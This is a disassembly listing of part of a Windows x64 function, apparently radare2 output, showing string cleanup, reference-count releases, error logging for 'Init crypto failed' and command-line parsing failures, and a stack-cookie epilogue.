mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400184ce
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400184c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018837
call fcn.14004c97c
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140018519
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018514
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018837
call fcn.14004c97c
lea rcx, [rbp + 0x3c0]
call fcn.14000f480
test rsi, rsi
je 0x140018560
mov eax, r13d
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x140018560
mov rbx, qword [rbp + 0x3b8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140018560
mov rcx, qword [rbp + 0x3b8]
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, r13d
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x14001863e
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
lock xadd dword [r14 + 0xc], r13d
cmp r13d, 1
jne 0x14001863e
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
lea rcx, [rbp + 0x420]
call fcn.14000f480
mov rbx, qword [rbp + 0x418]
jmp 0x1400186e6
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 0x13
lea rdx, str.Init_crypto_failed_
lea rcx, [rsp + 0x30]
call fcn.1400035f0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140018601
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140018601
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14001863e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018639
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001883d
call fcn.14004c97c
lea rcx, [rbp + 0x420]
call fcn.14000f480
mov rbx, qword [rbp + 0x418]
jmp 0x1400186e6
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 0x1d
lea rdx, str.Command_line_to_argvW_failed_
lea rcx, [rsp + 0x30]
call fcn.1400035f0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x1400186a9
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x1400186a9
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400186e6
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400186e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018843
call fcn.14004c97c
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 8
jb 0x14001872c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018727
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400187f5
call fcn.14004c97c
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], 7
mov word [rbp + 0x3e0], r12w
cmp rbx, 8
jb 0x140018781
lea rdx, [rbx*2 + 2]
mov rcx, qword [rbp + 0x400]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001877c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400187f5
call fcn.14004c97c
mov rdx, qword [rbp + 0x4e0]
cmp rdx, 0x10
jb 0x1400187be
inc rdx
mov rcx, qword [rbp + 0x4c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400187b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400187f5
call fcn.14004c97c
xor eax, eax
mov rcx, qword [rbp + 0x670]
xor rcx, rsp
call fcn.14004c5b0
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3
call fcn.140053d3c
int3